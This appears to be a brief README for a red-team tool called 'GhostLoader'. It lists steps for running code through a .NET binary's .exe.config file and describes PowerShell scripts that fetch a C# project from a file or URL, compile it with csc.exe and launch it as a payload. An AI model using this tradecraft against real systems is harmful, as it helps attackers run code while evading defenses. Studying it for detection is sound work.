GhostLoader Steps :)

1. Create C:\Tools
2. Copy Some .NET, any .NET binary to C:\Tools
3. In this example, we use FileHistory.exe, but any .NET app will do.
4. Ensure FileHistory.exe.config is in the same path
5. Execute C:\Tools\FileHistory.exe

After a little more research, 'In Memory' notion was a little exaggerated (hence the quotes). However, we'll call it 'In Memory Inspired' ;-)

These examples are PowerShell alternatives to MSBuild.exe/CSC.exe for building (and launching) C# programs.

Basic gist after running PS script statements:

- Loads C# project from file or web URL
- Compile with csc.exe [e.g. "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\subadmin\AppData\Local\Temp\lz2er5kc.cmdline"]
- Comvert to COFF [e.g. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\subadmin\AppData\Local\Temp\RES11D5.tmp" "c:\Users\subadmin\AppData\Local\Temp\CSCDECDA670512E403CA28C9512DAE1AB3.TMP"] 
- Launch program (payload)
